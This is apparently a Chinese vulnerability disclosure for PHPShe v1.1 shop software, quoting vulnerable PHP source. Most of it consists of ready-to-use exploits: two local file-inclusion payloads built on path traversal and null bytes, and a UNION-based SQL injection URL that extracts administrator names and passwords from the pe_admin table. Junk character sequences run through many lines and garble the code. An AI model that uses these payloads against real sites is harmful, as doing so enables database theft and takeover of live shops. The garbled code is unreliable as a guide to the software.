phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
: b% ^4 D6 {3 s# S" \" Z/ u' I/ g/* Phpshe v1.1 Vulnerability
+ H7 u$ p( h4 ]+ a. S* R/* ========================
2 C1 t, \% j: [: f0 a9 K/* By: : Kn1f3
( i/ I+ f: G  t0 T& S# Y0 S" {# M/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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" a5 f( a$ E1 m6 L5 X//common.php
if (get_magic_quotes_gpc()) {
$ ?0 j+ j" A5 |7 ~3 r!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
. a6 k+ Z4 C- z  l' Z+ M1 b+ O0 w( xelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
: ]9 S* o3 @4 @" m5 r!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ ?& w, h% j$ \+ C; V+ X0 {}
session_start();
3 M2 L. R) B1 |!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

. j! x, p/ |) k& U0×01 包含漏洞


' j2 T4 ^3 s: Q2 k) R  b//首页文件
5 }8 I9 Z3 G4 h; L* R<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
$ V# c8 G( p! W3 u$ x, oinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' o( i5 m  n; e7 a0 J. j, Ope_result();
?>
//common 文件 第15行开始
, H* ~0 I2 p) B; @! z# Surl路由配置
$module = $mod = $act = 'index';
- `: R" {: d2 o/ l# K$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
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, B9 b4 G  B$ O<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
0 X  S8 A( v. N  r& h: m( e+ p/ O4 f$ q$info = $db->pe_select('category', array('category_id'=>$category_id));
" \. ^- j. V* ?* A//搜索
/ G) G' R8 M! Z! y! R! H" L7 o$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
& B8 e5 @) ]5 l9 h/ Ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 l: b( l; r+ zif ($_g_orderby) {
1 N$ t+ Z  D; \# ]1 i2 N! l9 e$orderby = explode('_', $_g_orderby);
- p0 @, A7 G; c: M0 j* L$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 r5 h+ k4 z1 ?; R: N& a6 y0 J$ [8 r3 s}
else {
$sqlwhere .= " order by `product_id` desc";
9 p; o( n8 i8 S6 V/ |% a}
6 l! ?- a, `6 U* k. ]. M( i$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
4 V3 T! g% U$ W7 t% g2 W$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
* U  B& g- h- d9 U7 d$seo = pe_seo($info['category_name']);
* `( ?8 s- r) Y. c* [, C. cinclude(pe_tpl('product_list.html'));
' G7 ^: M' P  p5 _% @//跟进selectall函数库
7 l8 \! O% P8 W% P' P& Spublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
6 M" O+ v8 N/ R% y: l2 a{
//处理条件语句
! S* z9 A$ O# s6 m$sqlwhere = $this->_dowhere($where);
7 s7 n4 v* }! x- p% ?+ W* w/ Ereturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
. ]' j" h& j, e+ U4 u6 W5 R6 M0 r, w//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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: |" T, K/ }3 `  w0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$ p* f4 G) x% F) `$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

/ [, F. ]4 B# N' q" c' D& u8 q$ Y$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

8 u/ |# I- Z2 H2 f9 y. O; V9 r$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

, t) H' o: Q: Uforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

( M' I1 t4 b3 W, ~$ q$ eecho '正在为您连接支付网站，请稍后...';

, G  ~* t/ D; Vinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  |# W7 k/ `* h$ v' n}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

, |, G" ?# q6 s% x2 S}

/ _2 s& @6 m; U; g$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

0 B3 {! H* B; A% i6 j; wbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>